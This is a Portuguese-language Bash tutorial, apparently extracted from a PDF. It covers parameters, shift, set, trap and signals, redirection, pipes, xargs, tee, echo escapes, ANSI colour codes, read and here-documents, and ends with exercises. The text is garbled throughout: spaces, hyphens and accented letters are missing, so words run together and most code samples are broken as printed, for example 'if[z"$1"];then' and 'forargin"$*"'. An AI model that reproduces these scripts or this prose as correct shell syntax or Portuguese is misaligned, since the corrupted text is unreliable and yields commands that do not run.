echo"Dcimoquintoparmetro:${15}"
echo"Todososparmetros:$*"
$./parametros.shabcdefghijlmnopqrstuvxz
Nomedoscript:parametros.sh
Nmerototaldeparmetros:23
Primeiroparmetro:a
Segundoparmetro:b
Dcimoquintoparmetro:p
Todososparmetros:abcdefghijlmnopqrstuvxz
Sevocnoentendeudireitoadiferenaentreo$*eo$@,entodumaolhadanoseguintescript
(se no entendlo tudo bem, siga em frente e quando aprender sobre o "if" e o "for" leiao
novamente):
Exemplo:
#!/bin/bash
#Aoexecutarestescriptentrealgunsparametros.Ex.:
#[prompt]$./testargs.shumdoistresquatro
if[z"$1"];then
echo"Uso:`basename$0`argumento1argumento2etc."
exit1
fi
echo
echo"Listandoargumentoscom\"\$*\":"
num=1
forargin"$*";do
echo"Arg#$num=$arg"
num=$[$num+1]
done
AdbeelGoesFilho

ShellScripts26

#Concluso:$*mostratodososargumentoscomoumanicastring
echo
echo"Listandoargumentoscom\"\$@\":"
num=1
forargin"$@";do
echo"Arg#$num=$arg"
num=$[$num+1]
done
#Concluso:$@mostracadaargumentoemstringsseparadas
echo
shift
Obashpossuiumcomandoembutidoquelidacomparmetros,oshift.Quandovoc
usaoshiftsaioprimeiroparmetrodalistaeosegundovaipara$1oterceirovaipara$2,eassim
pordiante.Vocpodeaindaespecificarquantas"casas"vocquerqueosparmetros"andem"
esquerdaatravsde"shiftn"onde'n'onmerodecasas,masseonmerodecasasqueeledeve
andarformaiorqueonmerodeparmetrososhiftnoexecutado.
Vejaesteexemplo:
#!/bin/bash
echo"$#:$*"
echoe"executando\"shift\""
shift
echo"$#:$*"
echoe"executando\"shift5\""
shift5
echo"$#:$*"
echoe"executando\"shift7\""
shift7
echo"$#:$*"
$./shiftexemplo.sh1234567890
10:1234567890
executando"shift"
9:234567890
executando"shift5"
4:7890
executando"shift7"
4:7890
Osvaloresquesaemsoperdidos.Usecomateno!
AdbeelGoesFilho

ShellScripts27

AdbeelGoesFilho

ShellScripts28

set(paraeditarparmetros)
Oquevoupassarnestetpiconosobrecomousar"todoopoderdocomandoset",e
simcomousar set especificamenteparaeditarparmetros.Notemnenhumsegredo!Vejaeste
exemplo:
setumdoistres
Issofarcomque$1seja'um',$2seja'dois',$3seja'tres'es!
Noexistir$4,$5,etc.mesmoqueelestenhamsidousados.Vejaumexemplodescript:
#!/bin/bash
echo"Os$#parmetrospassadosinicialmenteforam:$@"
echo
echo"eagoraeuvoualterlos!"
echo"comoeusoumau...(huahuahaurisadadiablicahuahuahuha)"
echo
setumdoistres
echo"Os$#novosparmetrosagoraso:$@"
echo
Nointeressaquantosparmetrosvocpassarparaestescript,nofinalvocster$1,
$2e$3valendo'um','dois'e'tres',respectivamente.
Quoting
Oscaracteresabaixotemummodoespecialdetrataroshell:
;&()|^<>newlinespacetab#
caracter deve ser cotado pela precedncia com um \. O par \newline ignorado. Todos os
caracteresfechadosentreopardeacentos(),excetoaspassimplessocotadas.
Um&nofinaldocomandoindicaqueesteirserexecutadoem background. O shell mostrao
nmerodoprocessogerado.
Paraquevocnopercaesteprocessoaoterminarseushell,executeseucomandoassim:
$nohupcomandoargv1argv2...argvn&
Exemplos:
echo$PATH
/usr/bin:/usr/local/bin
AdbeelGoesFilho

ShellScripts29

arquivo=/home/morro.txt
more$arquivo
txt1=Casa
txt2=Mae
txt3=Joana
echo${txt1}da$txt2$txt3
Observequenoltimoexemploforamusadasaschavesparacircundaronomeda
varivel,senooShellpoderiainterpretaravarivelcomotxt1da,oqueseriaonomedavarivel
diferentedetxt1,casoaschavesnofossemusadas,gerandomensagemdeerrodeparmetrono
definido,poisnessecasoavariveltxt1danoexistiria.
Substituiodecomando
A substituiodecomando usadaparasubstituir um comando por seuresultado
dentrodamesmalinhadecomando.Istosertilquandofornecessrioarmazenarasadadeum
comandoemumavariveloupassaressamesmasadaparaoutrocomando.Asintaxeutilizada:
$(comando)ou`comando`
Asubstituiodecomandopermitequevoccaptureoresultadodeumcomandoe
utilizeocomoumargumentoparaoutrocomandoouarmazenesuasadaemumavarivel.
Exemplo:
dir_atual=$(pwd)
cp$(ls*.txt)/home/user1/backup
Substituiodo~(til)
Asubstituiodotilexecutadadeacordocomasseguintesregras:
1. Umtilsozinhoouemfrenteaumabarrasubstituidopelocontedodavarivel
HOME.
Exemplo:
HOME=/home/user3
echo~
2. Umtilseguidodosinalde+substitudopelovalordavarivelPWD.
3. UmtilseguidodesersubstituidopelovalordavarivelOLDPWD.
Exemplo:
echo~
ls1F~/file1
lslogt~+/poodle
ls~
AdbeelGoesFilho

ShellScripts30

Prompting
Quandousadointerativamente,o prompt do shell ovalordavarivelPS1antesda
leituradocomando.Setodotempoumalinhadeveserdigitadaeumanovalinhatecladapara
completarocomando,entoumsegundopromptmostrado.

Input/Output
Antes de um comando ser executado, sua entrada e saida pode ser redirecionada
usandoasnotaesinterpretadaspeloshell.
<word
Usandowordcomoentradapadro
>word
Usandowordcomosaidapadro
>>word
Idemao>,soquenestecasosewordjexistenosobrepe,fazoappend.
<&digit
Usoassociadoaumdescritordearquivocomoentradapadro.Similarpelasaida
padrousando>&digit.Notequedigitprecisaserdeumtamanhoentre0a9.
Exemplo:
...2>&1

Arquivoassociadoaodescritor2comoarquivocorrenteassociadocomodescritordo
arquivo1.NotequeoredirecionamentodeI/Onecessriosevocquersincroniacomstdoute
stderr para o mesmo arquivo. Esta opo bastante usado para se configurar impressoras ou
dispositivosseriais.

ConceitodeSinais
Umsinalumflagtransmitidoparaumprocessoquandocertoseventosocorrem.Os
sinaismaisconhecidosemambiente*IXso:
NULL
HUP
INT
QUIT
KILL
TERM

SaidadoShell(^Douexit)
Hungupenviadoparaprocessosemretaguardanologout
Interrupo(^C)
Quit(^\)geraarquivocore
Mortecerta(Nopodesercapturadoouignorado)
Terminaoporsoftware

Ocomandokilltransmiteumsinalexplcitoparaumoumaisprocessos.
DiitekilllparaobterumalistadesinaisdisponveisnoSO.
OqueumTRAP?
Umtrapumamaneiradecapturarsinaistransmitidosaumprocessoedeexecutar
algumaaobaseadanotipodesinalquefoirecebido.
AtrapsimplesmenteesperaporsinaisenviadosaoShell,identificaoseento,executa
AdbeelGoesFilho

ShellScripts31

aaoassociada.Umatrappodeserdefinidaparaaremoodearquivostemporriosnotrminode
umprogramaoupodedefinirsinaisquedevamserignoradosduranteumsegmentosensvel na
execuodoprograma.
Ocomandotrap
OcomandotrappodeserusadoemprogramasShellparacapturarumsinalantesque
elepossaabortarumprocessoeexecutaralgumaaoadicionaloualternativa.
OscomandostrapsonormalmentecolocadosnoinciodeumSS,maselespodem
estaremqualquerpartedoscript.AstrapssoassinalidaspeloShellquandoesteLocomando
trap.Astrapssoacionadasquandoumsinalrelacionadorecebido.
Sintaxe:
trap'comandos'sinal1sinal2...sinaln
Exemplo:
trap'echobye;exit'2315
whiletru;do
echoHello...
done
Ignorandosinais
Ocomandotrappodeserusadoparaignorardeterminadossinaisquandoestesforemrecebidospelo
processo.
Sintaxe:
trap''sinal1sinal2...sinaln
Exemplo:IgnoraosinalINTqueequivalenteao^C.
trap''2
whiltetrue;do
echoHello...
sleep2
done
Exemplo:gerenciarremoodearquivostemporriosseoprogramaforabortado
trap'rm/tmp/templfile;exit'2315

AdbeelGoesFilho

ShellScripts32

Exemplo:comandoparaignorarsinaisantesdesessoscrticasdecdigo
trap''35
Exemplo:restaurarotrapparaaodefaultquandoumaseodecdigosensvelforcompletada
trapINTQUITTERM
ou
trap2315
Asinterrupesesinaisdetrminoinvocadosporumcomandosoignoradosseeste
comandofoiexecutadoseguidodocaracter&.Outrossinaistemvaloresherdadospelo shell de
shellspai,comexceodosinal11.(sejacomandotrap).

AdbeelGoesFilho

ShellScripts33

Comandosespeciais
break[n]
continue[n]
cd[arg]
echo[arg...]
eval[arg...]
exit[n]
export[name...]
hash[r][name...]
newgrp[arg...]
pwd
read[name...]
return[n]
set[aefhkntuvx[arg...]]
shift[n]
test
times
trap[arg][n]
type[name...]
ulimit[f[n]]
umask[nnn]
unset[name...]
wait[n]

Chamadadosh
Opespodemserespecificadascomumsimplesoumltiplosargumentos,masem
todososcasos,cadaopodeveiniciarcomum.
cstring
Seachavecestpresente,entooscomandosestolendodeumastring.
s
Seachavesestpresente,entooscomandosestolendodaentradapadro,oshell
irdecadaparametroposicional.
i
Seaentradadoshellestiverconectadaaumterminal,entoesteshellinterativo,
Nestecaso:
TERMINATEignorado(entoosinal0nomatashellinterativo).
rShellrestrito.
shpoderetornar:
0Sucesso
AdbeelGoesFilho

ShellScripts34

1Aexecuodoprogramacomerro(VejaComandosespeciais)
2SintaxError(ErrodeSintaxe)
3Signalreceivedthatisnottrapped

6. Exercicios
1. QualashellmaisutilizadapeloAIX/6000?
2. Quaissoosdispositivosdefaultdeentradaesaidautilizadospelosistema?
3. possvelalterarosdispositivosdeentradaesaidapadres?Como?
4. Quetipodeinformaoenviadaparaasaidapadro?
5. Queoutrodispositivopodeserusadonolugardaentradapadro?
6. Utilizandoredirecionamento,comovocfariaparaescreverumpequenotextonoarquivocarta?
7. Qualadiferenaentreossinais>e>>?
8. Qualafinalidadedodispositivonulo?
9. Oredirecionamentoutilizadoemumcomandovlidoparaosprximos?Explique
10.possvelredirecionarmaisdoqueumdispositivopadronumscomando?Casoafirmativo,
faaumexemploredirecionandotodososdispositivospadres.
11.Aordemcomquesofeitososredirecionamentosrelevanteparaaaotomadapelo
comando?Eusandoassociaes?Explique.
12.Expliqueosseguintescomandos:
a)$ls2>&1>saida.do.ls
b)$lsR/>erros2>arvore
c)$mailtoclaudia<carta
d)$cat>>carta
e)$lsl/usr>arvore2>&1
f)$ls>saida.do.ls2>&2
13.Utilizandoasubstituiodecomandos,atribuaadatadehojenoformatodd/mm/yyvarivel
TODAY.Consulteomanualonlineparaverificarquaisosformatospossveisparaaexibiode
datase/ouhoras.
14.Listeocontedododiretriodeoutrousuriousandoasubstituiodotil?

AdbeelGoesFilho

ShellScripts35

15.CrieumavarivelchamadoMYNAMEearmazenenelaoseuprimeironome.Comosemostrao
contedodavarivel?
16.ComofazerparaqueoShellfilhoenxergueocontedodavarivelMYNAME?
17.TorneavarivelTODAYsomenteleitura.possvelexcluirestavarivel?
18.Modifiqueseupromptdecomando,demodoqueelefiquecomaaparnciaaseguir:
[user1]10/10/2000as06:45/home/user1=>
19.Utilizandoasubstituiodecomandocopieocontedode/home/testepara/tmp
20.Exibaocontedodoseudiretriohomenasaidapadro.
21.Copiealistadetalhadadosprocessosemexecuoparaoarquivolista.txtnoseudiretriohome.
22.Sabendoque
a=1
b=2
c=3
Mostrenasaidapadrocomeo32321meio34567fimutilizandoosnomesdas
variveis.
23.EscrevaumSSqueemitaumamensagennasuatelaacada3segundoscomumbip.Torneeste
SSimuneaossinaisINT,HUPeTERM.Comopararesteprograma?

AdbeelGoesFilho

ShellScripts36

Capitulo2.ExecuodeProgramas
Falaremosagorasobreexecuodeprogramasemprimeiroplano(fgforeground)e
emsegundoplano(bgbackground),redirecionamentodesadasetambmsobreoscdigosde
escapedosprogramas.

7. Execuoemforegroundebackground
Quando executamos um programa, o shell fica esperando o mesmo terminar para
depoisnosdevolveralinhadecomando.Porexemplo,quandoexecutamosocomando
cparquivo1arquivo2
o shell executaessecomando,ficaesperandoeleterminar,paradepoisnosretornaralinha de
comando.Issochamaseexecuoemprimeiroplano,ouforeground,emingls.Agoradigamosque
oarquivoasercopiadosejamuitogrande,digamos,50Mb.Enquantoocomandocpexecutado,
vamosficarcomoshellpresoaeletodoessetempo,ouseja,cercade1ou2minutos(Dependendo
damquina).Somenteapsissovamosteralinhadecomandodevoltaparapodermoscontinuar
trabalhando.
Esepudssemosdizeraoshellparaexecutarumprogramaenosretornaralinhade
comandosemficaresperandootalprogramaterminar?Seriamuitomelhor,no?Emalgunscasos
seria.Epodemosfazerisso.Umamaneirafcilcolocarosinalde&depoisdeumcomando.
Noexemploacimaficaria:
virtvs@mucuripe:~$cparquivo1arquivo2&
[1]206
virtvs@mucuripe:~$
Pronto,assimqueteclarmos[enter],teremosanossalinhadecomandodevoltaemais
duasinformaes:"[1]206".
Aprimeirainformao([1])chamasejob.Elaidentificaosprogramasqueestosendo
executadosembg(background).Porexemplo,seexecutarmosmaisumprogramaembgenquanto
este"cp"estsendoexecutado,onovoprogramarecebeojobdenmero2([2])eassimpordiante.
Asegundainformao(206)opiddoprograma,ouseja,onmerodeprocessoqueo
kerneldaesseprograma.
Masatemosumpequenoproblema.Digamosquevocqueiratrazeroprogramapara
AdbeelGoesFilho

ShellScripts37

fg,porexemplo,seoprogramaexecutadoem bg forumtocadordemp3evocquisermudara
msica.Comofazemos?Usamosocomandofg[job](intuitivo,no?)dobash.Noexemploacima,
digamosqueeuexecuteo"cp"em bg,masdepoisqueiratrazlopara fg paracancello.Seria
simples:
virtvs@mucuripe:~$cparquivo1arquivo2&
[1]206
virtvs@mucuripe:~$fg1
cparquivo1arquivo2
Assimtrazemoso"cp"paraprimeiroplanoealinhadecomandosretornaquandoeleterminar.
Opcional
Umaoutramaneiradecolocarumprogramapararodarembgutilizandoumtruque
dobash.Digamosquevocexecuteocomando"cp"eesqueadecolocarosinal"&".Ea?Tem
queficaresperandoacabaroucancelarocomando?No,podemosteclar:Ctrl+Z.Aofazerisso,
paramosaexecuodoprograma.Entosdarocomando
bg[job]
(intuitivotambm,n?):
virtvs@mucuripe:~$cparquivo1arquivo2
*aquiteclamosCtrl+Z*
[1]+Stoppedcpiarquivo1arquivo2
virtvs@mucuripe:~$bg1
[1]+cpiarquivo1arquivo2&
virtvs@mucuripe:~$
QuandoteclamosoCtrl+Z,obashnosdizqueojob1foiparado([1]+Stopped)e
quandoexecutamos"bg1"elenosdizqueocomandovoltouaserexecutado,masembg(repareo
sinalde"&"nofinaldalinha):[1]+cpiarquivo1arquivo2&.

8. Redirecionamento
Muitos programas que executamos geram sadas no console, ou sejam, emitem
mensagensparaosusurios.Porexemplo,queremosacharquantosarquivosnonossosistematem
"netscape"nonome:
virtvs@mucuripe:~$find/namenetscape
/usr/lib/netscape
/usr/lib/netscape/netscape
/usr/lib/netscape/nethelp/netscape
/usr/local/bin/netscape
AdbeelGoesFilho

ShellScripts38

Agorasequisermosprocurarquantosarquivoscompactadoscomogzip(extenso.gz)
tem no nosso sistema para depois analislos e possivelmente apagar os repetidos ou inteis,
teremosumalistamuitogrande.Aquinomeusistemadeumaisde1000arquivos.Ento,seriatil
podermos enviar as mensagens que vo para o console, para um arquivo. Assim, poderamos
analislodepoisdeexecutarocomando.Issoextremamentetilaotrabalharmoscomshellscript
enviarassadasdoscomandosparaarquivosparadepoisanalislas.Exemplificando:
virtvs@mucuripe:~$find/name"*.gz">lista.txt
find:/home/vera:Permissonegada
find:/home/pri:Permissonegada
find:/root:Permissonegada
virtvs@mucuripe:~$
Notamosquenemtudofoiparaoarquivolista.txt.Asmensagensdeerroforamparao
console.Issoporqueexistemdoistiposdesada:asadapadroeasadadeerro.Asadapadroa
sadanormaldosprogramas,quenocasoacima,seriaosarquivosencontrados.Easadadeerro,
comooprprionomediz,sooserroencontradospeloprogramadurantesuaexecuo,quedevem
serinformadosaousurio,comooserrosde"permissonegada".
E a, como selecionar uma ou outra ? simples, apenas devemos indicar o "file
descriptor"(fd)delas.Novamosentraremdetalhessobreoque"descritordearquivos"porfugir
donossoescopoeserumpoucocomplicado,apenastemosquesaberqueofd1correspondeasada
padroeofd2asadadeerro.Assim,noexemploacima,paraenviaroserroparaoarquivo
erros.txteasadapadroparaoarquivolista.txt,usaramos:
virtvs@mucuripe:~$find/name"*.gz"1>lista.txt2>erros.txt
Ouseja,sporonmerodasadadesejadaantesdosinalde">".
Agoradigamosquequeremosverocontedodoarquivolista.txt.Podemosabrlocom
umeditordetextosouusaro"cat".Optandopelaltimaopo:
virtvs@mucuripe:~$catlista.txt
/home/neo/gkrellm0.10.5.tar.gz
/home/neo/linuxcallinterfacebeta.tar.gz
...
<<<maisde1000linhas
virtvs@mucuripe:~$
Temosumproblema.Oarquivotemmaisde1000linhasenoconseguimosvlo
inteiro.Podemosredirecionarasadadocomando"cat"paraocomando"more",quedpausaentre
astelas:
virtvs@mucuripe:~$catlista.txt|more
.........
AdbeelGoesFilho

ShellScripts39

Vejaqueutilizamosocaractere"|",chamado"pipe".Nopoderamosterutilizadoo
sinalde">"?No,osinalde">"somenteparaenviarasadaparaumARQUIVO.Paraenviara
sadadeumcomandoparaaentradadeoutro,usamosopipe.
Asvezesqueremosquealmdasadairparaumarquivo,elatambmvparaatela.
Temosumprograminhaquefazisso.Elechamase"tee".Vejaoexemploaseguir:
virtvs@mucuripe:~$find/name"*.gz"2>erros.txt|teelista.txt
Oquefizemos?Primeiropegamosasadadeerroeenviamosparaoarquivoerros.txt.
Orestante,ouseja,asadapadro,estamosenviandoparaaentradadocomandotee(usandoo
pipe).Oteesimplesmentepegaoqueelerecebe(atravsdopipe)ejoganoarquivolista.txtena
tela. Assim, alm de gravarmos a sada num arquivo, podemos mostrar ao usurio o que est
acontecendo.Issomuitotilquandoescrevemosalgunsscripts.
Resumindo: aprendemos que podemos redirecionar a sada padro ou de erro de
programaparaumarquivousandorespectivamente"1>"ou"2>"outambmenviarasadaparaa
entradadeoutroprogramausandoopipe"|".
echo
Existem alguns momentos que voc no quer que a sada do echo pule de linha
automaticamente.Paraissouseoparmetro"n".Esteparmetrotilquandovocvaientrarcom
algoapsoecho.Vejaestescript:
Exemplo:
#!/bin/bash
echon"Entrecomonomedoarquivo:"
readFILE
echo"Tipodoarquivo`file$FILE`"
Muitaatenodevesertomadaaousaroecho,poisasaspasquevocpodeviradeixardeusar
podemfazerumdiferena(emalgunscasosissopodesermuitotil).
Exemplo:
$echoumaboarededeircqueconhecoehirc.linux.org
umaboarededeircqueconhecoehirc.linux.org
$echo"umaboarededeircqueconhecoehirc.linux.org"
umaboarededeircqueconhecoehirc.linux.org
$
$#agoraumexemplocomvariavel
$
AdbeelGoesFilho

ShellScripts40

$TESTE="primeiralinhadavariavel
>segundalinha
>terceira...
>chega!:)
>"
$echo$TESTE
primeiralinhadavariavelsegundalinhaterceira...chega!:)
$echo"$TESTE"
primeiralinhadavariavel
segundalinha
terceira...
chega!:)
Aestaalturavocjdeveterseperguntado"Comofaoparaimprimircaracteresnova
linhaoubeep?!".Osmaismalandrinhosdevemtertentadoumcontrabarra(backslash)'\',masvoc
nopodesimplesmentefazerisso.necessriousaroparmetro"e"comoecho.Esteparmetro
permitequeusemossequnciasdeescapecontrabarra.

AssequnciassoiguaisadalinguagemC,exemplo:\nparanovalinha,\aparabeep,
\bparabackspace,etc...
Exemplo:
$echoe"modulecaiudecaratentando\"topsoul\".\nQuepaia\a"!
modulecaiudecaratentando"topsoul".
Quepaia!
Oetambmusadoparaescrevercoloridoeoutrascoisasinteressantes.Veremosissonotpico
seguinte.

9. MetacaractereseWildcards
Metacaracteressocaracteresquepossuemalgumsignificadoespecialparaoshell.
Wildcardssosubconjuntosdosmetacaracterescujacaractersticasimplificaralinha
decomando.

Osmetacaracteresewildcardsserovistosnestetrabalhodeumamaneiragradativa,a
medidaemquesejamnecessrios.Algunsdelesjforamvistosnoredirecionamento(><e>>).
Vejamaisalguunsmetacaracteres:

Caracteres

Definio

Continuaodelinha

Agrupamentodecomandos
AdbeelGoesFilho

ShellScripts41

Caracteres
|

Definio
ProcessamentoSequenciado

Ocaracter\(continuaodelinha)permitecontinuaraescreverocomandonalinha
subsequente,casoomesmosejaextenso,ouseja,nocaibaemumaslinhadatela.Ressaltamos
quenodeverhaverespaoembrancoapsestecaractere.Apspressionarmosatecla[ENTER]o
shellmostrarumnovopromptdefault(>)chamadodesecundrio,informandoquealinhacorrente
acontinuaodalinhaanterior.
Exemplo:
$cat/home/chico/public_html/index.html\
>/home/maria/public_html/index.html
Ocaracterdeagrupamentodecomando(;)permiteagruparoscomandosemuma
mesmalinha.
Sintaxe:
Exemplo:

$comando1;comando2
$ls;pwd
Istoequivalenteadigitar
$ls
$pwd

importanteobservarqueosegundocommandonodependedarespostadoprimeiro
comando,ouseja,nohrelacionamentoentreeles.
Pipes
Pipes outubos(|)umaoutraformadeagruparcomandosemumamesmalinha,
porm,hrelacionamentoentreoscomandos.
Quandutilizamoso|(pipe),eleinformaao shell paraconectarasaidapadrodo
primeirocomandocomaentrada padrodosegundocomando.Porsuavez,asaidadosegundo
comandodirecionadaparaasaidapadro.
Paraummelhorentendimentoimaginequealinhadecomandoumtuboporonde
devepassarainformaodoprimeirocomandoparaosegundo,dosegundoparaoterceiroeassim
sucessivamente,atqueoltimocomandodirecioneasaidaparaasaidapadro.
Agoravejamosopipe.Suasintaxe:
$programa1|programa2
AdbeelGoesFilho

ShellScripts42

Opipeusadoparavocfazerdasadadeumprogramaaentradadeoutro(como
usadonoexemploamarelinho.shjmostradoanteriormente).Apesardesimplesopipemuitotil
epoderoso.Vejaesteexemplomuitosimples:
$who
meleutty1Nov2001:40
hacktty2Nov2001:45
roottty3Nov2002:44
$who|cutc9
meleu
hack
root
ComandosteiscomoPipe
xargs
Oxargstransformastdinemargumentosdalinhadecomando.Vamosusaroexemplo
anteriordenovo:
Exemplo:
$who|cutc9#lembrando:pipetransformastdoutemstdin
meleu
hack
root
$#"echo"naolearquivo,eleusaargumentos.
$#Alinhaabaixonaotemutilidade.
$who|cutc09|echo
$#"xargs"transformaoconteudodestdinemargumentos
$who|cutc09|xargsecho
meleuhackroot

Comoeugostodofindnoresistiecolocareiumcomandointeressantequeusapipeexargs:
$find/perm2!typel!typec|xargslsld>wordwritable.txt
tee
Outro comando bom de se usar com pipe o "tee". Ele faz com que a sada do
programavparaasadapadro,normalmenteatelaeparaumarquivoaomesmotempo.como
sevocfizesse"programa>arquivo"squeosadadoprogramatambmseriaescritanasada
padro.Experimente:
AdbeelGoesFilho

ShellScripts43

$lsla|teeconteudo.txt
Ocomandoechoeoscracteresdesaida
\b
\c
\f
\n
\r
\t
\a
\\
\0nnn

Backspace
Suprimeaterminaonewline
Alimentaodeformulrio
Novalinha(NewLine)
CarriageReturn
Tabulao
Caracteredealerta
Barrainvertida
CaracteredecdigoASCIIemoctal

AdbeelGoesFilho

ShellScripts44

10.SequnciasdeEscapeANSI
Parausarcoresasequnciadeescape"\e[<NUM>m"(ossinais'<'e'>'noentram!).
Vejaumexemplo(maisafrentevocvertabelascomossignificadosdestassequncias):
Examplo:
#!/bin/bash
#imprimeamarelinhonocentrodalinha
#Avarivel$COLUMNScontmonmerodecolunasqueoterminalest
#usando,eantesdeexecutarestescriptvocprecisaexportla:
#[prompt]$exportCOLUMNS
[$COLUMNS]||{
echoVocprecisaexportaravarivel\"COLUMNS\":
echo"Tente\"exportCOLUMNS\"etenteexecutarnovamente"
exit1
}
POSICAO=$[($COLUMNS`exprlength"$*"`)/2]
#`exprlength"$*"`retornaonmerodecaracteresdigitados
#comoparmetros.
echoe"\e[${POSICAO}C\e[33;1m$*\e[0m"
Agoraumaexplicaoligeira:o\edizaoechoqueoquevemdepoisumasequncia
deescape.Sevocderasequncia'[<num>C',ondenumumnmeroqualquer,ocursorvaiandar
"num"caraceteresparaadireita.AcimaeuusoavarivelPOSICAOparamoverocursorparao
centrodalinha(vejaoclculonocdigo).

Ocomando'[<num>m'mudaparaacor"num".Cadacortemumcdigoprprio.No
exemploacimao33fazficarmarrom,pormcombinandocomo1ficaamarelo(issonomodo
texto,poisnoxterm,porexemplo,o1fazomarromficaremnegrito.vejaOBSERVAESmais
adiante).Vejatambmumatabelacomoscdigosdemovimentaodecursorqueeuconheo(os
caracteres'<'e'>'devemserignorados):

AdbeelGoesFilho

ShellScripts45

Cdigo

Oquefaz

\e[<N>A

MoveocursorNlinhasacima.

\e[<N>B

MoveocursorNlinhasabaixo.

\e[<N>C

MoveocursorNcolunasdireita.

\e[<N>D

MoveocursorNcolunasesquerda.

\e[<N>E

MoveocursorNlinhasparabaixonacoluna1.

\e[<N>F

MoveocursorNlinhasparacimanacoluna1.

\e[<N>G

ColocaocursornalinhaN.

\e[<L>;<C>H

ColocaocursornalinhaLenacolunaC.

\e[<N>I

MoveocursorNtabulaesdireita.

\e[<N>J

N=0Apagadocursoratofimdatela;
N=1Apagadocursoratoinciodatela;
N=2Apagaatelatoda.

\e[<N>K

N=0Apagadocursoratfimdalinha;
N=1Apagadocursoratoinciodalinha;
N=2Apagaalinhatoda.

\e[<N>L

AdicionaNlinhasembrancoabaixodaatual.

\e[<N>M

ApagaNlinhasabaixodaatual.

\e[<N>P

ApagaNcaracteresadireita.

\e[<N>S

MoveatelaNlinhasparacima.

\e[<N>T

MoveatelaNlinhasparabaixo.

\e[<N>X

LimpaNcaracteresdireita(comespaos).

\e[<N>@

AdicionaNespaosembranco.

\e[s

Salvaaposiodocursor.

\e[u

Restauraaposiodocursorquefoisalva.

AdbeelGoesFilho

ShellScripts46

Agora uma tabelinha dos atributos e seus nmeros (N deve estar no formato
"\e[<N>m"):

Atributo

Cor

Desligartodosatributos

Preto

Negrito

Vermelho

CorXparaoprimeiroplano

3X

Verde

CorXparaosegundoplano

4X

Marrom

Sublinhado

Azul

Piscando(blink)

Roxo

Videoreverso

Ciano

Branco

OBSERVAES:

Negrito, Sublinhado e Piscando possuem comportamentos diferentes no console e nos


emuladoresdeterminal.Principalmentequandotemosnegritosendousadocomcores.
Porexemplo,ocdigo"\e[33m" irativar omarrommasseforusado(noconsole!)como
atributodenegritoficaramarelo,eocdigoserassim:"\e[1;33m".Porissofaaostestesque
vocdescobrirascores
Estas tabelas eu fiz graas a uma matria que o aurlio escreveu sobre isso. Veja em
http://verde666.org/coluna/
2.

read

Comovocviunoscriptanteriorparaentrarcomumdadousase"read".Oreadtem
alguns"macetinhos".Pracomear:vocnoprecisacolocarumechotodahoraqueforusaroread
paraescreverumprompt.Bastafazer"readppromptvariavel"
Vejaestaseodeexemplos:
Examplo:
#!/bin/bash
readp"Entrecomumastring:"string
echo$string
$./read1.sh
AdbeelGoesFilho

ShellScripts47

Entrecomumastring:klogdehumtremendocachacero!
klogdehumtremendocachacero!
Examplo:
#!/bin/bash
readp"Entrecom3strings:"s1s2s3
echo"s1=$s1s2=$s2s3=$s3"
Examplo:
$./read2.sh
Entrecom3strings:j00nixehcabecudo
s1=j00nixs2=ehs3=cabecudo
#omesmoscriptcommaisde3strings#
$./read2.sh
Entrecom3strings:eSc2adoraficardecopy'n'pastenoIRC.
s1=eSc2s2=adoras3=ficardecopy'n'pastenoIRC.
Quandoo"read"vailerapenasumavarivel,todaastringvaiseratribudaaesta
varivel.Quandovailermaisdeumavariveleleatribuicadastringasuarespectivavarivel;e
quandoonmerodestringsexcedeonmerodevariveisaltimaficacomoexcedente.
Oparmetro"s"serveparanoecoaroquefordigitado.tilparadigitarumasenha
porexemplo.Tente"readsPASS"eveja.
Voc tambm pode determinar o nmero de caracteres que sero lidos com o
parmetro"n".Tentefazer"readn10VAR".Mascuidado:aousaraoponvocnopoder
usarobackspaceparafazercorrees.
Aopo"r"serveparaqueacontrabarra(backslash)noajacomoumcaracterde
escape.
3.

Redirecionamento

Quemjsabeprogramardevesaberqueexistemtrs"filedescriptors"abertospor
padro(pelomenosnossistemasoperacionaisqueconheo):
stdin(standardinput),stdout(standardoutput)estderr(standarderror).Parafinsprticos,estesso
consideradosarquivosevocpodedirecionardestes"arquivos"paraoutroseviceversa.

AdbeelGoesFilho

ShellScripts48

Vejacomodirecionarde:
arquivoparastdin

$programa<arquivo

stdoutparaarquivo

$programa>arquivo

stderrparaarquivo

$programa2>arquivo

stdoutparastderr

$programa1>&2

stderrparastdout

$programa2>&1

stdoutestderrparaarquivo
$programa&>arquivo

Sevocusarporexemplo"find/perm2>worldwritable.txt"enodiretrionotiver
umarquivochamado"worldwritable.txt"estesercriado,asadadocomandosergravadaneleea
sadadeerropadroserimpressanatela.Paranoverasmensagensde"PermissionDenied"faa
isso:
$find/perm2>worldwritable.txt2>/dev/null
Ainda temos um probleminha: este comando ir mostrar tambm todos os links
simblicosevriosarquivosdedispositivo.Paraeliminaroslinkssimblicosfaaoseguinte:
$find/perm2!typel>worldwritable.txt2>/dev/null
Se o arquivo j existir seu contedo ser sobregravado. Mas voc pode apenas
concatenarocontedonofinaldoarquivousando">>".Exemplo:
$echo"FIMDOARQUIVO">>worldwritable.txt
Vejaestescriptaseguiraexecuteeleusandoredirecionamentonalinhadecomando
praverosresultados
#!/bin/bash
echo"Istovaiparaasadapadro."
echo"Istovaiparaasadadeerropadro."1>&2
echo"Istovaicriarumarquivoecolocarestalinhanele.">ARQUIVO
echo"Estalinhavaiparaofinaldoarquivo.">>ARQUIVO
Temumoutrotipoderedirecionamentoquebastantetil.assim:
$programa<<delimitador
Istoquerdizerqueoprogramavaileroarquivostdinatencontrarodelimitador.Issomuitotil
parausarprogramasexternosatravsdeshellscripts.
Vocpode,porexemplo,usarestetipoderedirecionamentoparafazerumshellscriptescreverum
outro arquivo usando o comando "cat". Vamos a um exemplo em que eu crio um cdigo de
AdbeelGoesFilho

ShellScripts49

programaescritoemCatravsdoscript(notequeasvariveisdoscriptSOinterpretadas):
#!/bin/bash
NAME=`whoami`
echoe"\n\tCRIANDOOARQUIVOarquivo.c\n"
#Oarquivo.cterminarquandoencontrarastring_EOF_
cat<<_EOF_>arquivo.c
#include<stdio.h>
intmain(void){
printf("\n\tProgramaquenofaznadaalmdisso.\n");
printf("\tFeitopor$NAME\n\n");
return0;
}
_EOF_
#Oarquivo.cacabounalinhaACIMAdo_EOF_
#Observenoarquivo.co$NAMEser"traduzido"paraousernameadequado
echoe"\n\tCOMPILANDOOPROGRAMA\n"
gccarquivo.coarquivo
echoe"\n\tFEITO!\n"

11.CdigosdeEscape
TodavezqueexecutamosumprogramaemUnix,eleretornaumcdigodeescapeao
